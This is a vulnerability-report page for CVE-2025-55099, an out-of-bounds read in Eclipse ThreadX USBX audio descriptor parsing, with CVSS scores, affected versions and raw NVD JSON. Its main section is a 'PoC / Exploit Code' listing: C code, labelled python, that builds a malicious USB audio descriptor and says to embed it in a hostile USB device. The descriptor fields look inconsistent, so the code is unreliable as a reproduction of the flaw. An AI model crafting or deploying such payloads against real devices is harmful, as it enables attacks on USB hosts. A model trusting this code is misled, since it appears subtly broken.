Security Vulnerability Report
中文
CVE-2025-55099 CVSS 6.1 MEDIUM

CVE-2025-55099

Published: 2025-10-17 06:15:36
Last Modified: 2025-10-23 12:33:02

Description

In USBX before 6.4.3, the USB support module for Eclipse Foundation ThreadX, there was a potential out of bound read issue in _ux_host_class_audio_alternate_setting_locate() when parsing a descriptor with attacker-controlled frequency fields.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:eclipse:threadx_usbx:*:*:*:*:*:*:*:* - VULNERABLE
Eclipse ThreadX USBX < 6.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-55099 PoC - Malicious USB Audio Descriptor // This PoC demonstrates how to craft a malicious USB audio descriptor // that triggers the out-of-bounds read in _ux_host_class_audio_alternate_setting_locate() // in USBX versions before 6.4.3 #include <stdio.h> #include <string.h> #include <stdint.h> // USB Audio Class specific descriptor types #define USB_AUDIO_CLASS_SPECIFIC 0x24 #define USB_AUDIO_CS_INTERFACE 0x24 #define USB_AUDIO_AC_DESCRIPTOR_UNDEFINED 0x20 // USB Audio Interface Class code #define USB_AUDIO_CLASS 0x01 // Malicious audio class descriptor with crafted frequency fields typedef struct { uint8_t bLength; uint8_t bDescriptorType; uint8_t bDescriptorSubtype; uint8_t bTerminalLink; uint8_t bmAttributes; uint8_t bControlSize; uint8_t bmaControls[2]; } __attribute__((packed)) usb_audio_cs_ac_interface_desc_t; // Malicious sampling frequency descriptor with out-of-bounds frequency value typedef struct { uint8_t bLength; uint8_t bDescriptorType; // USB_AUDIO_CS_INTERFACE uint8_t bDescriptorSubtype; // USB_AUDIO_AC_DESCRIPTOR_UNDEFINED uint8_t bFormatType; uint8_t bNrChannels; uint8_t bSubframeSize; uint8_t bBitResolution; uint8_t bSamFreqType; // Number of sampling frequencies // Crafted frequency values - intentionally out of bounds uint32_t tSamFreq[10]; // Frequency values to trigger OOB read } __attribute__((packed)) usb_audio_format_type_desc_t; // Craft the malicious descriptor payload uint8_t* craft_malicious_audio_descriptor(size_t *out_size) { static uint8_t descriptor[256]; memset(descriptor, 0, sizeof(descriptor)); // Build the audio class interface descriptor header descriptor[0] = 0x09; // bLength descriptor[1] = USB_AUDIO_CS_INTERFACE; // bDescriptorType descriptor[2] = USB_AUDIO_AC_DESCRIPTOR_UNDEFINED; // bDescriptorSubtype descriptor[3] = 0x01; // bTerminalLink descriptor[4] = 0x00; // bmAttributes descriptor[5] = 0x02; // bControlSize descriptor[6] = 0x00; // bmaControls[0] descriptor[7] = 0x00; // bmaControls[1] // Format type descriptor with malicious frequency fields usb_audio_format_type_desc_t *fmt_desc = (usb_audio_format_type_desc_t *)&descriptor[8]; fmt_desc->bLength = 0x2B; fmt_desc->bDescriptorType = USB_AUDIO_CS_INTERFACE; fmt_desc->bDescriptorSubtype = 0x02; // FORMAT_TYPE fmt_desc->bFormatType = 0x01; fmt_desc->bNrChannels = 0x01; fmt_desc->bSubframeSize = 0x02; fmt_desc->bBitResolution = 0x10; // Set a large number of frequencies to trigger OOB read fmt_desc->bSamFreqType = 0xFF; // 255 frequencies (exceeds array bounds) // Fill with crafted frequency values for (int i = 0; i < 10; i++) { fmt_desc->tSamFreq[i] = 0xFFFFFFFF; // Max frequency values } *out_size = sizeof(descriptor); return descriptor; } int main() { size_t size; uint8_t *payload = craft_malicious_audio_descriptor(&size); printf("CVE-2025-55099 PoC - Malicious USB Audio Descriptor\n"); printf("Payload size: %zu bytes\n", size); printf("This payload should be embedded in a malicious USB device\n"); printf("to trigger OOB read in _ux_host_class_audio_alternate_setting_locate()\n"); // Print hex dump of the payload printf("\nHex dump:\n"); for (size_t i = 0; i < 48; i++) { printf("%02x ", payload[i]); if ((i + 1) % 16 == 0) printf("\n"); } printf("\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55099", "sourceIdentifier": "[email protected]", "published": "2025-10-17T06:15:36.100", "lastModified": "2025-10-23T12:33:01.977", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In USBX before 6.4.3, the USB support module for Eclipse Foundation ThreadX, there was a potential out of bound read issue in _ux_host_class_audio_alternate_setting_locate() when parsing a descriptor with attacker-controlled frequency fields."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:eclipse:threadx_usbx:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.4.3.202503", "matchCriteriaId": "B8C9E3B8-8960-4282-AF07-5D2F56DBCD5F"}]}]}], "references": [{"url": "https://github.com/eclipse-threadx/usbx/security/advisories/GHSA-93mv-fcpr-9488", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}